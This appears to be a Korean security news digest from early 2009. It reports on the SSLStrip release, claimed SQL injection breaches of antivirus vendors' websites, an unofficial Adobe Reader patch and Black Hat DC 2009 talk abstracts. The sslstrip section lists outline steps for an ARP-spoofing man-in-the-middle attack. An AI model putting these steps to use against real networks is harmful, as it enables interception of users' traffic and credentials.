하지만 많은 브라우저들은 각기 다른 방식으로 사이트 암호화를 표시하고 있다. 자물쇠 표시나 텍스트로 사이트가 안전하다는 비공식적인 표시를 사용하는 사이트도 있다.

"사이트마다 각기 다른 표시로 인해 사용자들에게 혼동을 주고 있습니다. 안전하지 않은 경우가 많은 사이트들이 안전하다고 표시되고 있습니다."

이 프레젠테이션에서 Marlinspike는 알아차리기 힘든 트릭도 소개했다. 임의의 HTTPS 주소에 사기 사이트를 호스팅하고, 이 사기 사이트 URL 앞에 진짜 사이트 주소와 똑같은 문자를 추가해 사용자 브라우저에 진짜 HTTPS 사이트의 모든 주소가 표시되게 한다.

Marlinspike는 예를 들어, 많은 웹 주소에서 사용되는 슬래시(/) 문자를 이용해 공격자는 자신의 사기 사이트를 다른 사이트와 동일한 사이트로 보이게 할 수 있다고 말했다. 사기 사이트인지 알 수 있는 유일한 단서는 도메인 주소의 제일 끝 부분, 예를 들어 "ijjk.cn"으로, 주소가 너무 긴 경우 이 부분은 브라우저 주소창에 보여지지 않는다.

Marlinspike가 웹에서 사용되는 보안 프로토콜을 무력화시킨 것은 이번이 처음은 아니다. 2002년 그는 인증 체인을 이용해 SSL 보안을 무력화시킬 수 있는 툴 "SSLsniff"를 발표했다. 이 공격은 인터넷 익스플로러와 Konqueror같은 브라우저 취약점을 이용한 것으로, 이후 패치되었다.

지난해 12월, 보안 연구원 그룹이 다른 종류의 공격으로 SSL을 무력화시켰다. 연구원들은 200대의 플레이스테이션 3 콘솔을 슈퍼컴퓨터 같은 프로세서 클러스터로 사용해 시스템의 MD5 암호화를 크랙하고 인증을 통과시켰다. 그때부터 베리사인은 시대에 뒤떨어진 MD5 암호화 사용을 중단했다.

Marlinspike의 공격을 실제 세상의 환경에서 사용하려면 로컬 네트워크에 소프트웨어에 인스톨해야 한다고 컨퍼런스에 참석했던 보안 소프트웨어사 넷스퀘어 솔루션즈 보안 연구원 Saumil Shah는 말했다.

"소프트웨어를 Endpoint나 서버에 인스톨하거나, 데이터를 리라우팅해서 공격자에게 가도록 해야 합니다." 하지만 로컬 네트워크에 맬웨어를 인스톨하지 않더라도 스푸핑된 이메일이나 DNS 하이재킹으로 같은 효과를 얻을 수 있다고 Shah는 말했다.

이 공격의 기본적인 교훈은 웹의 "안전한" 페이지 보안이 사실은 약하기 때문에 어떤 페이지도 이 보안을 가장할 수 있다는 점이라고 Marlinspike는 말했다. "해결책은 모든 것을 암호화하는 것입니다." , "안전하지 못한 프로토콜에 의존하는 안전한 프로토콜을 사용한다는 것이 문제입니다."

SSLStrip 릴리스

(출처: http://www.thoughtcrime.org/software/sslstrip/index.html)

* 블랙햇 컨퍼런스에서 프레젠테이션을 가졌던 Moxie Marlinspike가 SSL에 대해 man-in-the-middle 공격을 수행하는 툴을 릴리스했다. 이 취약점은 EV 인증에서 DNSSEC에 이르기까지 모든 것에 영향을 미친다. Moxie Marlinspike가 그의 사이트를 통해 다음과 같이 SSLStrip을 릴리스했다.

sslstrip

sslstrip을 릴리스합니다. 저의 보안 연구 대부분은 개인적인 흥미에서 비롯된 것으로, 제가 발견한 것들을 가끔씩만 발표한다는 것을 알아주셨으면 좋겠습니다. 만일 제가 발표한 것들이 마음에 드신다면 기부 버튼을 클릭하셔서 앞으로 더 많은 것들을 발표할 의욕을 갖게 해주십시오. (그리고 제가 발견한 것들을 러시아 마피아들에게 판매하지 말아야겠다는 생각을 갖도록 해주십시오)

다운로드: http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.1.tar.gz

* sslstrip 0.1

이 툴은 블랙햇 DC 2009에서 발표했던 HTTPS Stripping 공격 시연을 제공한다. 이 툴은 네트워크상의 HTTP 트래픽을 하이재킹하고, HTTPS 링크를 찾아 리다이렉트한 뒤 이 링크들을 HTTP 링크 혹은 주소가 같아 보이는 HTTPS 링크로 Mapping한다. 자물쇠 표시 아이콘 등의 아이콘 모드, 로그 선택, 세션 거부도 지원한다. 이 공격의 보다 상세한 내용은 아래 프레젠테이션 동영상을 참조한다.

이 프로그램을 실행하려면:

- 머신을 forwarding 모드로 설정한다.

- HTTP 트래픽을 sslstrip으로 리다이렉트하도록 iptable을 설정한다.

- sslstrip을 실행한다.

- arpspoof를 실행해 네트워크가 트래픽을 전송하도록 한다.

원리는?

arpspoof는 호스트로 하여금 공격자의 MAC 어드레스가 라우터의 MAC 어드레스인 것으로 믿도록 해서 모든 네트워크 트래픽을 공격자에게 전송하게 한다. 커널은 목적지가 80번 포트인 트래픽만 제외하고 모든 것을 보내 $listenPort (예를 들어 10000)로 리다이렉트한다.

sslstrip은 트래픽을 받아 마술을 부린다.

USA 카스퍼스키 웹사이트 해킹당해

(출처: http://www.heise-online.co.uk/news/Kaspersky-web-site-reportedly-leaky--/112592

http://www.heise-online.co.uk/security/Kaspersky-hack-Kaspersky-respond-Update--/news/112601)

* 루마니아 해커 unu가 2월 초, 카스퍼스키, F-시규어, BitDefender, 시만텍, 뉴욕타임스, 인터내셔널 헤럴드 트리뷴 등의 사이트에 침입해 데이터베이스에 접속했다고 주장했다.

"unu"라는 해커가 hackersblog.org 블로그를 통해 자신이 URL의 일부 문자를 변경하는 단순한 방법으로 중요한 정보를 포함하는 사이트에 접속할 수 있었다고 주장했다. unu는 엉성하게 프로그램된 것으로 보이는 카스퍼스키 웹 서버에 SQL 인젝션으로 사용자, 활성화 코드, 보안 지침서, 관리자 네임, 상점에 관한 정보에 접속할 수 있었다고 밝혔다. unu는 스크린샷도 함께 공개했다.

더레지스터에 의하면, AVG의 수석 연구 오피서 로저 톰슨과 마나사노 보안 연구원 Ptacek은 unu의 주장이 신빙성이 있다고 말했다고 한다. 카스퍼스키는 이 문제에 관해 즉각적인 언급을 하지 않고, 시간이 필요하다고 답변했다. unu는 블로그를 통해, 중요한 정보를 퍼뜨리는 일은 없을 것이니 카스퍼스키는 걱정하지 않아도 좋다고 밝혔다. "우리는 단지 보안 문제점이 있는 대형 사이트를 지적할 뿐이다."

이후 카스퍼스키는 다음과 같이 발표했다: "한 공격자가 usa.kaspersky.com 사이트의 서브섹션 공격을 시도, 취약점을 발견했습니다. 카스퍼스키 랩 USA는 이 취약점을 발견하고 즉각 해당 섹션을 내려서 위험을 제거했습니다." 카스퍼스키는 이 공격이 악성 목적의 공격이 아니며, 이 취약점으로 인해 어떤 데이터도 노출되지 않았다고 밝혔다.

unu는 데이터가 노출되지 않았다는 카스퍼스키의 주장에 이의를 제기했다. 더레지스터에 의하면, unu라는 이름의 이 해커는 처음 이 취약점을 발견했을 때 카스퍼스키에 알려줬지만 어떤 대답도 듣지 못했기 때문에 공개했다고 한다. 데이터가 침해되지 않은 유일한 이유는 자신이 데이터를 저장하지 않았기 때문이라고 한다. unu는 자신이 유저네임, 이메일, 패스워드, 코드, MySQL 등의 정보에 접속했다고 주장했다.

이 사고를 담당했던 카스퍼스키의 한 직원이 보다 상세한 내용을 게시했다. 해커는 데이터베이스에 접속했지만 사용자 세부 정보를 보거나 데이터베이스를 편집하는 쿼리 실행에 실패했다고 한다.

unu가 블로그를 통해 밝힌 내용은 다음과 같다:

카스퍼스키는 보안 및 안티바이러스 부문의 유력업체다. 하지만 막상 자신들의 데이터베이스는 안전하게 하지 못하는 것으로 보인다. 믿기 힘들겠지만 유감스럽게도 사실이다.

Parameter 1개를 변경하자 모든 것 (사용자, 활성화 코드, 버그 리스트, 관리자, 쇼핑몰 등)에 접속할 수 있었다. 버전, 사용자 및 데이터베이스 네임은 다음과 같다:

(http://img150.imageshack.us/img150/1007/versionuserdatabaseaa4.jpg)

mysql.user 사용자 호스트 & 패스워드

(http://img297.imageshack.us/img297/4880/mysqluserid5.jpg)

개인 세부사항이나 활성화 코드를 포함하는 스샷은 설명할 필요가 없을 것 같아서 공개하지 않고, 대신 테이블 네임만 공개한다. 이 리스트는 길지만 내용은 아주 흥미로웠다.

(http://img12.imageshack.us/img12/5052/usertablecolumnsqs7.jpg)

해커 블로그, F-시큐어 사이트를 침입했다고 주장

(출처: http://news.zdnet.co.uk/security/0,1000000189,39615484,00.htm)

한 루마니아 해커가 2월 11일, 자신의 블로그를 통해 F-시큐어 웹사이트를 침입했다고 주장했다. 이 해커는 같은 주 초 다른 2개의 유명 보안업체 사이트에 접속했다고 주장했다.

이 해커는 “F-시큐어는 SQL 인젝션과 크로스 사이트 스크립팅에 취약하다”는 제목의 블로그 글을 통해, "다행히도 F-시큐어는 사이트에는 중요한 데이터가 없었고, 과거 바이러스 활동에 관한 일부 통계만 있었다."라고 밝혔다.

F-시큐어 대변인은, 공격당한 서버를 셧다운 시켰고, 이 서버는 중요한 서버가 아니기 때문에 중요한 데이터나 고객 데이터는 없었고, 단지 마케팅 용도의 통계적인 데이터만 저장되어 있었다고 말했다.

"보안업체로서 저희에게 허점이 있었다니 좀 부끄러운 일입니다." F-시큐어 미 캘리포니아 산호세 사무소 대변인 데이비드 프레저는 전화 인터뷰에서 이렇게 말했다.

이 해커는 HackersBlog를 통해, 2월 7일 카스퍼스키 미국 웹사이트를 침입했고, 2월 9일 같은 공격 기법을 사용해 BitDefender 포르투갈 사이트에 침입했다고 주장했다.

카스퍼스키는 2월 9일, 이 침해로 인해 중요한 고객 데이터가 유출되지는 않았고, 한 데이터베이스 전문가에게 시스템 평가를 의뢰했다고 발표했다. BitDefender는 침해당한 자사 사이트는 이름을 밝히지 않은 한 파트너사 사이트로, 고객 데이터는 유출되지 않았다고 밝혔다.

Unu - 시만텍, 뉴욕타임즈 SQL 인젝션 취약점 발견했다고 주장

(출처: http://www.darkreading.com/security/vulnerabilities/showArticle.jhtml;jsessionid=3FBIYE1XVRL34QSNDLRSKHSCJUNN2JVN?articleID=2145019999)

2월 둘째 주, 3개의 보안업체 웹사이트에 침입했던 unu라는 이름의 루마니아 해커가 이번에는 시만텍과 뉴욕타임스 사이트도 침입했다고 주장했다.

unu는 자신의 블로그에 시만텍 웹사이트의 리셀러 전용 노턴 리소스 센터의 문서 다운로드 센터 페이지에서 발견했다는 SQL 인젝션 취약점에 관한 내용을 발표했다. unu에 의하면, 이 취약점을 이용해 데이터베이스에 접속할 수 있었다고 한다. unu는 데이터베이스 내용은 밝히지 않았다.

Unu의 주장에 대해 시만텍은, 해당 페이지가 "일관성 없는 예외 처리 (Inconsistent Exception Handling)"로 인해 취약하다고 시인했지만, 이 버그를 이용해 데이터베이스에 접속할 수 있었다는 Unu의 주장은 사실이 아니라고 말했다.

"조사 결과, 블라인드 SQL 인젝션은 해당되지 않는다는 결론을 내렸습니다. 문제점을 알려준 것에 감사드립니다. 예외 처리를 제대로 하도록 이 페이지를 곧 수정하겠습니다."

unu는 또 다른 게시물을 통해, 인터네셔널 해럴드 트리뷴 웹사이트에서도 SQL 인젝션 취약점을 발견했다고 주장했다.

"안전하지 못한 Parameter를 발견했다. 이 Parameter를 이용하면 데이터베이스에 접속할 수 있다.", "데이터베이스의 정보 외에도 161명의 회원, 편집자, 리포터, 기타 제휴하고 있는 유명 신문사의 로그인 세부정보를 포함한 테이블을 발견했다."

인터네셔널 해럴드 트리뷴은 이 취약점이 패치되었다고 말했지만, 일부 로그인 정보가 노출되었다는 점은 시인했다.

Unu는 연구를 위해 다른 웹사이트도 목표를 삼고 있다고 말했다.

치명적인 PDF 버그 써드파티 패치 발표

(출처: http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9128428)

2주 넘도록 패치되지 않은 상태로 악성 PDF 파일을 통해 익스플로잇되고 있는 어도브 리더의 치명적인 취약점에 대해 한 보안 연구원이 자체 제작한 패치를 릴리스했다.

침입탐지 전문업체 Sourcefire의 취약점 연구원 Lurene Grenier가 2월 22일 발표한 이 패치는 윈도우즈 버전의 어도브 리더 9.0에만 해당된다.

"이 패치는 .dll (정확히 말해 AcroRd32.dll)만 변경한 것입니다." Grenier 는 Sourcefire 취약점 리서치 블로그를 통해 이렇게 말했다. 19MB의 이 .dll은 윈도우즈 머신에서 "C:\Program Files\Adobe\Reader 9.0\Reader\" 디렉토리의 파일을 대체한다.

해커들은 최소한 2월 12일 이후부터 (시만텍 연구원들이 이 공격 코드가 나돌고 있다는 것을 최초로 발견한 시점) 어도브 리더 취약점을 익스플로잇한 것으로 보인다. 어도브는 이 취약점이 3월 11일 이전까지는 패치되지 않을 것이라고 밝혔다.

어도브는 2월 19일 보안 지침서를 통해 어도브 리더와 어도브 애크로뱃 모두 버전 7, 8, 9가 이 취약점의 영향을 받는다고 밝혔다. 어도브는 3월에 버전 9를 먼저 패치하고 나서 버전 7과 8에 대한 패치를 발표하겠다고 말했다.

써드파티 패치는 자주 있는 편은 아니지만 전례가 없는 것은 아니다. 2006년과 2007년, ZERT 보안 연구원들은 마이크로소프트 윈도우즈와 인터넷 익스플로러에 존재하는 버그 비공식 패치를 몇가지 발표한 바 있다.

전문가들은 익스플로잇으로부터 보호하는 또 다른 방법으로 자바스크립트를 사용하지 않도록 설정하는 방법을 권했다. 취약점 자체는 어도브 리더나 아크로뱃의 자바스크립트 기능에 존재하지 않지만 익스플로잇은 자바스크립트를 사용하기 때문에 자바스크립트 기능을 사용하지 않으면 현재 공격으로부터 보호할 수 있다.

어도브 리더에서 자바스크립트를 사용하지 않도록 설정하려면 윈도우즈 사용자는 편집 메뉴 - 기본 설정에서 자바스크립트 사용 가능 박스의 체크를 해제하면 된다. Mac 사용자들은 어도브 리더 메뉴에서 도구를 통해 설정할 수 있다.

사기 공격 컨설팅 전문업체 PhishLabs는 어도브 리더 9.0의 자바스크립트를 사용하지 못하도록 윈도우즈 레지스트리 키를 리셋해주는 배치 파일을 발표했다. 이 파일은 자동으로 작업을 수행할 수 있게 해주기 때문에 기업 시스템 관리자들에게 유용하다.

어도브 취약점 익스플로잇 코드는 2월 23일 Milw0rm.com 사이트에 공개되었다. 2월 셋째 주, 보안 전문가들은 공격 코드가 곧 해커들이 선호하는 멀티-익스플로잇 키트에 포함될 것이라고 전망했다.

그래니어의 패치는 Sourcefire 사이트에서 다운로드받을 수 있다.

마이크로소프트: 온라인 게임, 여전히 최고의 맬웨어 타겟

(출처: http://mis-asia.com/news/articles/microsoft-online-gamers-still-a-top-malware-target)

마이크로소프트가 2월 1일부터 15일 사이에 Taterf라 불리는 온라인 게임 패스워드 스틸러를 거의 1백만개 삭제했다.

인터넷상에서 가장 많은 유형의 맬웨어는 무엇일까? 바이러스일까? 봇넷 코드일까? 온라인 게이머들로부터 패스워드를 훔치는 패스워드 스틸링 웜일까?

마이크로소프트가 2월 19일, 맹위를 떨쳤던 패스워드 스틸러 웜을 2월 1일부터 보름 동안의 기간 동안에 약 1백만개 가까이 삭제했다고 밝혔다. 마이크로소프트사의 MSRT(Malicious Software Removal Tool)는 Win32/Taterf라 불리는 프로그램 981,000개 이상을 삭제했다고 한다. 이 웜은 와우, 미르의 전설, 게임매니아 등의 게임의 유저네임과 패스워드를 훔치는 것으로 가장 잘 알려져 있다.

온라인 게임 패스워드는 인기 좋은 타겟이다. 현금이 되고 추적이 불가능한 경우가 많기 때문이다. 범죄자들은 해킹당한 계정을 사용해 캐릭터와 가상 머니, 보물을 현금을 받고 판매한다.

그동안 중국은 패스워드 스틸러 감염 최상위 국가였지만, 순위가 바뀌고 있다고 마이크로소프트는 밝혔다. 2월 첫째 주, Taterf 감염 최상위 국가는 미국, 대만, 한국 순이었다.

MSRT는 윈도우즈 사용자들에게 무료로 제공되고 매달 업데이트된다. MSRT는 2007년 악명 높았던 스톰 웜 소탕에도 활약을 했다.

2월 마이크로소프트는 악명 높은 봇넷 Srizbi 탐지 기능을 MSRT에 추가해 38,697개를 삭제했다.

이탈리아 경찰 - 스카이프 위협 경고

(출처: http://news.bbc.co.uk/2/hi/europe/7890443.stm)

이탈리아 경찰에 의하면, 추적을 피하기 위해 모바일폰 대신 인터넷폰을 사용하는 이탈리아 범죄자들이 늘고 있다고 한다.

이탈리아 밀라노 당국은 이태리의 범죄조직과 무기, 마약 불법 거래자, 매춘 알선자들이 수사관들의 추적을 피하기 위해 스카이프폰을 사용하고 있다고 밝혔다. 스카이프측은 스카이프폰의 암호화 시스템이 회사 비밀이기 때문에 경찰과 공유할 것을 거부하고 있다고 한다.

최근 몇 년 사이에 도청이 범죄 수사에 사용되는 사례가 늘고 있다. 이탈리아 밀라노 세관과 세무 경찰은 스카이프폰의 문제점을 강조했다. 이탈리아 경찰은 한 마약 밀거래 용의자가 공범자에게 2kg의 마약 거래에 관한 세부 내용을 알려줄테니 스카이프폰을 사용하라고 말하는 것을 도청했다고 밝혔다.

이탈리아 수사관들은 전화 통화 도청이 경찰의 중요한 수사 도구로, 매년 수백만 유로화를 들여 유선 전화와 모바일폰 전화 도청을 범죄 추적에 사용하고 있다고 말했다.

하지만 도청 관련 법규가 조만간 변경될 조짐이다. 이탈리아 실베오 벨를루스코니 수상이 이끄는 정당과 연합정부를 구성하고 있는 우익정당은 가장 심각한 범죄에만 도청을 허용하는 법안을 작성했다.

이탈리아 언론에는 도청을 통해 누설된 범죄들이 자주 보도된다. 벨를루스코니 이탈리아 수상을 포함한 이탈리아의 유명 정치인들도 사적인 전화 통화 내용이 신문에 상세히 보도돼서 망신을 당한 적이 있었다.

새로운 법에 의하면, 앞으로 도청을 이용해 입수한 범죄 수사를 보도하는 행위는 최종 판결이 날 때까지 불법으로 간주된다.

이탈리아에서는 재판이 엄청나게 느리게 진행된다는 점을 고려할 때, 이 법규는 앞으로 범죄 사건의 세부 내용을 보도하는데 15년이 걸릴 수도 있다는 것을 의미한다.

▶[컨퍼런스] 블랙햇 DC 2009

(출처: http://www.blackhat.com/html/bh-dc-09/bh-dc-09-speakers.html)

* 2월 16일부터 17일 이틀 동안 미 버지니아주 알링턴에 위치한 하얏트 리젠시 크리스탈 호텔에서 블랙햇 DC 2009가 개최되었다. 이번 블랙햇에서 가장 주목을 받았던 프레젠테이션은 Moxie Marlinspike의 SSL man-in-the-middle 공격으로, 발표 직후 즉각 모든 주요 미디어의 헤드라인을 장식했다. 프레젠테이션 자료는 https://www.blackhat.com/html/bh-dc-09/bh-dc-09-archives.html에서 볼 수 있다.

WAF 가상 패치: WebGoat 보안은 ModSecurity로

Ryan C. Barnett

웹 어플리케이션 취약점을 식별하는 작업은 취약점 픽스 작업에 비하면 시작에 불과하다. 살다 보면 웹 어플리케이션 코드를 시기적절하게 혹은 전혀 업데이트할 수 없는 상황이 존재한다. 식별된 이슈들을 처리해주는 웹 어플리케이션 방화벽 구현의 전략적 Use-Case는 여기서 가치를 발한다. 이 프레젠테이션은 가상 패치를 위한 웹 어플리케이션 방화벽 사용법과 OWASP 서머 코드 프로젝트를 소개한다. 이 프로젝트의 목적은 오픈소스 ModSecurity 웹 어플리케이션 방화벽을 사용해 가능한 많은 OWASP WebGoat 취약점을 완화시키는 것이다.  WebGoat와 ModSecurity, 복잡한 픽스 방법을 상세히 설명하고, 다단계 프로세스 데이터의 영속성(Persistence)을 이용해 취약점 찾아내기, 콘텐트 인젝션, 새로운 LUA 프로그래밍 언어 API 등의 사례도 제시한다. 이 프레젠테이션의 목적은 웹 어플리케이션 방화벽의 최첨단 완화 옵션을 소개하고, 웹 어플리케이션 방화벽을 보안 컨설턴트가 효과적으로 사용할 수 있는 방법을 제시하는데 있다.

Ryan C. Barnett은 Breach Security 어플리케이션 리서치 디렉터, SANS 연구소 임직원, 인터넷 보안 아파치 벤치마크 프로젝트 센터 팀 리드, 웹 어플리케이션 보안 컨소시엄 멤버로 분산형 오픈 프록시 허니팟 프로젝트를 이끌고 있다. "Preventing Web Attacks with Apache" 저자다.

SQL 서버 안티 포렌식

Cesar Cerrudo

이 프레젠테이션은 SQL 서버를 공격했을 때 가능한 흔적을 남기지 않는 방법을 소개한다. 이 프레젠테이션에서 소개하는 공격에 사용되는 기술들을 이용하면 흔적을 적게 남기거나 혼동을 주는 흔적을 남길 수 있기 때문에 포렌식 수사를 더 힘들게 만들 수 있다. 이 프레젠테이션은 주로 안티-포렌식을 다루고, SQL 서버 포렌식의 기술, 개념, 이론도 설명한다. 프레젠테이션 말미에는 이 공격들로부터 서버를 보호하는 방법도 소개한다.

Cesar Cerrudo는 Application Security 팀 SHATTER 리드 연구원, 아르헨티나 보안 컨설턴시 전문업체 Argeniss(www.argeniss.com)의 창설자 & CEO, 어플리케이션 보안 연구원, 컨설턴트다. 뛰어난 어플리케이션 보안 연구원으로 잘 알려진 그는 마이크로소프트 SQL 서버, 오라클 데이터베이스 서버, IBM DB2, 마이크로소프트 BizTalk 서버, 마이크로소프트 Commerce Server, 윈도우즈, 야후 메신저 등을 포함한 유명 어플리케이션에서 십수개의 취약점을 발견했고, 이 취약점들을 해결하는데 도움을 주었다. 데이터베이스, 어플리케이션 보안, 공격, 익스플로잇 기술에 관한 화이트 페이퍼를 작성했고, 마이코로소프트, 블랙햇, Bellua, CanSecWest, EuSecWest, WebSec, HITB, 마이크로소프트 블루햇 등을 포함한 여러 기업과 컨퍼런스로부터 초빙을 받아 프레젠테이션을 발표했다. eWeek, 컴퓨터 월드, 기타 유명 온/오프 저널에 정보를 제공하고 자주 인용된다.

XSS 익명 브라우저

Matthew Flick

현재 사용되는 익명 인터넷 브라우징 어플리케이션들은 자발적인 호스트 네트워크와 암호화 레이어를 사용해 Dynamic Route를 구축한다. 크로스 사이트 스크립팅 익명 브라우저 ("XAB")를 이용하면 취약한 웹사이트/어플리케이션과 타겟 사용자 브라우저를 익스플로잇해 네트워크를 구축할 수 있다. XAB의 목적은 Tor 등의 현존하는 어플리케이션 대신 사용하는 것이 아니라, 자발적 지원자가 필요 없다는 대안을 제시하는 것이다. 앞으로 기능을 확장하고 자바 스크립트와 다른 브라우저 기술을 추가할 예정이다.

Matthew Flick은 8년 이상의 정보 보안 산업 경력 소유자로, 어플리케이션 보안, 정보 보안 관리, 서비스, 평가 분야 전문이다. 민간 업체 및 미 연방 정부 정보 보안 프로그램 설계, 개발, 평가를 수행했다. 현재 어플리케이션 보안 분석, 보안 테스트, 취약점 리서치를 제공하는 정보 보안업체 FYRM Associates 프린시펄, OWASP DC, ISACA, ISSA 멤버다.

웹으로 돈 벌기 - 블랙햇 방식

Trey Ford

크로스-사이트 스크립팅은 잊어버리자. SQL 인젝션도 잊어버리자. 만일 웹에서 남모르게 조용히 돈을 벌고 싶다면, 크로스-사이트 스크립팅이나 SQL 인젝션을 사용할 필요가 없다. 성가신 스캐너, 복잡한 프록시, 제로데이, 닌자 수준의 리버스 엔지니어링 기술도 필요 없다. 웹 브라우저, 무엇을 찾아야 할지에 대한 단서, 약간의 블랙햇 트릭만 있으면 된다. 다른 사람의 웹사이트 트래픽을 이용한 광고 수익 생성, 수동적으로 주워들은 기업 정보를 이용한 주식 거래, 일부러 품절되게 한 다음 온라인 구매 취소 등등, 웹으로 돈 버는 방법은 아주 많다. 이 행위 자체는 기술적으로 불법이 아니다. 서비스 약관에만 위배된다. 이런 것들을 비즈니스 로직 취약점이라 부른다 (실제로 올바른 명칭은 아니지만). 이 기법들은 모든 사람들에 있어 익숙한 오래된 웹 해커 공격 기술이 아니다. 눈에 나타났다가 사라지는 것이다. IDS로는 이 공격을 탐지할 수 없다. 웹 어플리케이션 방화벽도 이 공격을 차단할 수 없다. 이런 유형의 공격은 탐지하기가 아주 힘들다. 이 공격이 실제로 얼마나 널리 전파되어 있는지 조차 알려져 있지 않다. 장막을 벗기고 무엇이 가능한지를 알아볼 시간이다.

Trey Ford는 화이트햇 시큐리티 솔루션 아키텍처 디렉터로, 고객, 파트너, 잠정 고객들에게 웹사이트 보안에 관한 비전을 제공하는 업무를 담당하고 있다. 위험 평가 (Risk Assessment), 규제 이행 (Regulatory Compliance) 컨설팅 경력 소유자로, 산업 행사에서 자주 발표를 하고, 미디어에도 자주 인용된다. 화이트햇 이전에 FishNet Security에 재직했다.

1개의 셀로 충분한 Tor의 익명성 침입

Xinwen Fu

Tor는 실제 세상에서 사용되는 순환 기반의  Low-Latency 익명 커뮤니케이션 네트워크로, 인터넷상의 TCP 어플리케이션을 지원한다. 이 프레젠테이션은 Tor에 대한 새로운 차원의 공격, 프로토콜 레벨의 공격을 소개한다. 현존하는 공격과 달리 이 공격은 1개의 셀을 조작하는 방법을 사용해 익명 커뮤니케이션 관계를 빠르고 정확하게 파악할 수 있기 때문에 Tor에 대한 심각한 위협이 된다. 프로토콜 레벨의 공격은 악성 Entry Onion Router를 이용해 발송자로부터 전송받은 TCP 스트림 셀을 복제, 편집, 삽입할 수 있는 공격이다. 프로토콜-레벨 공격은 Tor 운영을 방해하는 DoS 공격 수행에도 사용될 수 있다. 이 공격을 Tor에서 구현되었고, 효율성이 확인되었다. 이 공격으로부터 방어하는 가이드라인도 소개한다.

Xinwen Fu는 매사추세츠 로웰 대학교 컴퓨터 사이언스 조교수로, 소프트웨어 보안, 침입 탐지, 디지털 포렌식, 컴퓨터 보안 기초를 강의하고 있다. Fu 박사의 현재 연구 관심사는 네트워크 보안과 프라이버시다. 해킹은 시스템을 안전하게 만드는 중요한 역할을 한다고 믿고 있다.

무선 센서 리버싱 & 익스플로잇

Travis Goodspeed

무선 센서는 얼마 안가서 많은 산업, 군사, 가정 네트워크의 일부분이 될 것이다. 네트워킹 프로토콜은 Zigbee, ISA100, Wireless HART, 6LowPAN 등등 종류가 많지만 이 중 표준이 된 것은 아무 것도 없다. 주어진 운영 시스템, 컴파일러 혹은 마이크로 컨트롤러에 표준을 적용한 벤더 역시 한군데도 없다. 센서 네트워크 사용자들에게 커맨드 라인이나 내부 문서, 각각의 디바이스에 대한 내부 접속을 제공하지 않는 벤더들도 많다.

이 프레젠테이션은 이런 디바이스들에 대한 하드웨어 및 소프트웨어 리버스 엔지니어링을 상세히 소개한다. 많은 익스플로잇 기법과 패치도 소개한다.

Travis Goodspeed는 ToorCon 9와 텍사스 인스트루먼트 개발자 컨퍼런스에서 MSP430-기반 무선 센서 네트워크 스택 오버플로우 익스플로잇에 관한 발표를 했다. 블랙햇 2008에서는 칩에서 중요한 코드를 추출하는 타이밍 공격을 시연했다. 현재 Low-Power 임베디드 시스템 방어 기술을 연구하고 있다.

Let Your Mach-O에 날개를

Vincenzo Iozzo

Mac OS X를 사용하는 사람들이 늘어감에 따라 새로운 익스플로잇 기술이 개발되는 것은 너무도 당연하다. 과거 OSX를 익스플로잇하는 흥미로운 방법들이 많이 제시되기는 했지만, 안티 포렌식 기술이 아직도 너무나 부족하다. 이 프레젠테이션은 메모리 인젝션 기술을 소개한다. 스스로 제작한 코드에서 사파리 등의 실제 어플이케이션에 이르기까지 어떤 종류의 바이너리라도 상대방의 머신에 삽입하는 방법을 소개한다. 이 익스플로잇은 메모리에서 수행되기 때문에 하드 디스크에 흔적을 남기기 않고 새로운 프로세스를 생성하지 않는다. 만일 공격자가 상대방 머신에 코드를 실행할 수 있다면, 고전적인 쉘 코드 대신 이 공격을 실행하는 것이 가능하고, 이 공격을 한층 높은 레벨의 Payload에 사용하는 것이 가능하다. Meterpreter 혹은 Meterpretux 등의 유사한 Payload가 있지만, Mac OS X에서 실행될 수 있는 것은 없었다. 이 공격은 특수 제작된 바이너리만 있으면 가능하다.

Vincenzo Iozzo는 이탈리아 밀라노의 폴리테크노 공과대학 학생으로, 맬웨어와 IDS를 연구하고 있다. 구글 서머 코드에서 시행될 예정인 FreeBSD를 포함, 많은 공개 소스 프로젝트에 참여하고 있다. 이탈리아 보안업체 시큐어 네트웍스 보안 컨설턴트, Zynamics 리버스 엔지니어다.

플래시 개발자가 간과하는 널리 전파된 보안 위험들

Prajakta Jagdale

이 프레젠테이션은 플래시의 구조와 플래시 보안 모델, 몇 년 동안 진행되어온 플래시 변천 과정을 소개하고, 테스트 플래시 어플리케이션을 사용해 CSRF, 데이터 인젝션, 스크립트 인젝션을 포함한 각종 공격을 시연하고, 관련된 위협과 이 위협들을 완화시키는 방법을 소개한다.  이 위협들에 취약한 어플리케이션은 얼마나 배포되었을까? 이 질문에 대해 간단한 구글 쿼리를 사용해 발견할 수 있었던 실제로 사용되고 있는 취약한 어플리케이션 숫자를 소개한다.

Prajakta Jagdale는 HP 웹 보안 리서치 그룹 리서치 엔지니어로, 웹 어플리케이션 취약점 자동 발견과 크롤링(Crawling) 기술을 담당하고 있다. 현재 RIA 테크놀로지 관련 보안 위험 식별을 연구 중이다. 이 연구는 통계 소스 코드 분석과 정적인 런타임 분석 사용을 통해 RIA 어플리케이션을 크롤(Crawl)하고 분석하는 자동화 웹 평가 툴을 가능하게 하는 혁신적인 기술 개발을 포함한다.

DNS 2008과 중요한 인프라의 새로운(오래된) 속성

댄 카민스키

댄 카민스키는 미 시애틀에 위치한 IOActive 침투 테스트 디렉터로, IOActive 이전에는 시스코, Avaya에서 재직했고, 마이크로소프트 블루햇 행사 게스트로 마이크로소프트 비스타 클라이언트와 윈도우즈 서버 2008 운영 시스템 보안을 평가했다. 전문 분야는 대규모 네트워크 Sweep, 이상한 패킷 트릭, 버그 설계다.

암호화된 코드 실행과 Page-Granularity 코드 서명을 제공하는
에뮬레이션-기반 소프트웨어 보호

William Kimball

